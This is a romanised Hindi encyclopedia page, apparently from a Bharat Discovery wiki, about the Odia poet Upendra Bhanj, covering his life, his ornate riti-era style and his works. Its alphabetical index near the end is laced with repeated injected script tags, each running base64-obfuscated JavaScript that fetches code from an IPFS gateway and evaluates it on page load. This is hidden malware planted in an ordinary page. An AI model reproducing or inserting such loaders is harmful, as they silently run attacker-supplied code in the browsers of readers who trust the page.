उपेंद्र भंज

upeandr bhanj u diya sahity ke ye mahanh‌ kavi sanh‌ 1665 ee. se 1725 ee. tak jivit rahe. unake pita ka nam nilakanth aur dada ka nam bhanj tha. do sal rajy karane ke bad nilakanth apane bhaee ghanabhanj ke dvara rajy se nikal die ge. nilakanth ke jivan ka aantim bhag nayagadh mean vyatit hua tha. upeandr bhanj ke bare mean yah kaha jata hai ki unhoanne nayagadh ke nivasakal mean 'odgaanv' ke mandir mean virajit devata shriraghunath ko 'ramatarak' mantroan se prasann kiya tha aur unake hi prasad se unhoanne kavitvashakti prapt ki thi. sanskrit bhasha mean nyay, vedaant, darshan, sahity tatha rajaniti adi sikhane ke sath hi unhoanne vyakaran aur alankarashastr ka ganbhir adhyayan kiya tha. nayagadh ke raja l dakeshvar maandhata ne unhean 'viravar' upadhi se bhooshit kiya tha. pahale unhoanne banapur ke raja ki kanya ke sath vivah kiya tha, kiantu tho de hi dinoan bad unake mar jane ke karan nayagadh ke raja ki bahan ko unhoanne patni roop mean grahan kiya. unaka daanpaty jivan poorn roop se ashaant raha. unake jivanakal mean hi dvitiy patni ki bhi mrityu ho gee. kavi svayan 40 varsh ki ayu mean ni:santan avastha mean mare.

upeandr bhanj ritiyug ke kavi haian. ve lagabhag pachas kavyagranthoan ke nirmata haian. inamean se 20 granth prakashit hue haian. unake likhit kavyoan mean lavanyavati, kotibrahmadasanduri aur vaidehishavilas suprasiddh haian. u diya sahity mean ramachandr chhotaray se lekar yadumani tak 200 varsh paryant jis ritiyug ka pradhany raha upeandr bhanj usi ke sarvagragany kavi mane jate haian. unaki rachanaoan mean mahakavy, pauranik tatha kalpanik kavy, sangit, alankar aur chitrakavy aantarbhukt haian. unake kavyoan mean varnit vivahotsav, ranasajja, mantrana tatha vibhinn tyauharoan ki vidhiyaan adi utkal ki bahut si visheshataean maloom p dati haian. unaki rachanashaili naishadh ki si hai jisamean upama, roopakadi alankaroan ka pradhany hai. aksharaniyam aur shabdapaandity se unaki rachana durbodh lagati hai. unake kavyoan mean nari-roop-varnan mean bahut si jagahoan par ashlilata dikhaee p dati hai. parantu vah us samay prachalit vidhi ke anusar hai. us samay ke kavyoan mean shrriangar ka hi prachury rahata tha.

dinkrishna, bhoopati pandit aur lokanath vidyadhar adi vishisht kavigan upeandr ke samakalin the. un sab kaviyoan ne raja divyasianh ke kal mean khyati prapt ki thi. upeandr ke paravarti jin kaviyoan ne unaki rachanashaili ka anusaran kiya unamean abhimanyu, kavisoory baladev aur yadumani prabhriti mane jate haian. adhunik kavi radhanath aur gangadhar ne bhi bahut had tak unaki varnanashaili apanaee.

u diya sahity mean upeandr ek pramukh sanskarak the. sanskritajn panditoan ke sath pratiyogita mean utarakar unhoanne bahut se alankarik kavyoan ki bhi rachana ki. dharm aur sahity ke bich ek sima nirdharit karake unhoanne dharm se sadaiv sahity ko alag rakha. unaki rachanaoan mean aise bahut se devataoan ka varnan milata hai par prabhu jagannath ka sabase vishesh sthan hai. vaidehishavilas unaka sabase b da kavy hai jisamean pratyek pankti ka pratham akshar 'v' hi hai. isi prakar 'subhadra parinay' aur 'kala kutuk' kavyoan ki pratyek pankti yathakram 's' aur 'k' se praranbh huee hai. unake rasapanchak kavy mean sahityik ras, dosh aur gunoan ka vivechan kiya gaya hai. avanarasatarang ek aisa kavy hai jisamean kisi bhi sthan par matra ka prayog nahian hua hai. shabdaprayog ke is chamatkar ke atirikt unaki is rachana mean aur koee maulikata nahian hai. unake kavyoan mean varnan ki ekaroopata ka pradhany hai. patr patriyoan ka janm, shastradhyayan, yauvanagam, prem, milan aur virah sabhi kavyoan mean pray: ek se haian. unake kalpanapradhan kavyoan mean vaidehishavilas sarvashreshth hai :

unhoanne 'chaupadibhooshan', 'chaupadichandr', prabhritti kee sangitagranth bhi likhe haian, jo u disa praant mean b de janapriy haian. unaki sangit pustakoan mean adiras aur alankaroan ka prachury haian. kavi ki kee pustakean madras, aandhr, utkal aur kalakatta vishvavidyalayoan ke pathayakram mean grihit haian. vaidehishavilas, kotibrahmaandasuandari, lavanyavati, premasudhanidhi, avanarasatarang, kala kutuk, gitabhidhan, chhantamanjari, bajaraboli, bajaraboli, chupadi haravali, chhaand bhooshan, rasapanchak, ramalilamrit, chaupadichandr, subhadraparinay, chitrakavy bandhoday, dashapoi, yamakaraj chutisha aur panchashayak prabhriti unaki kritiyaan prakashit ho chuki haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 125-26 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 125-26 |

[1]

उपेंद्र भंज

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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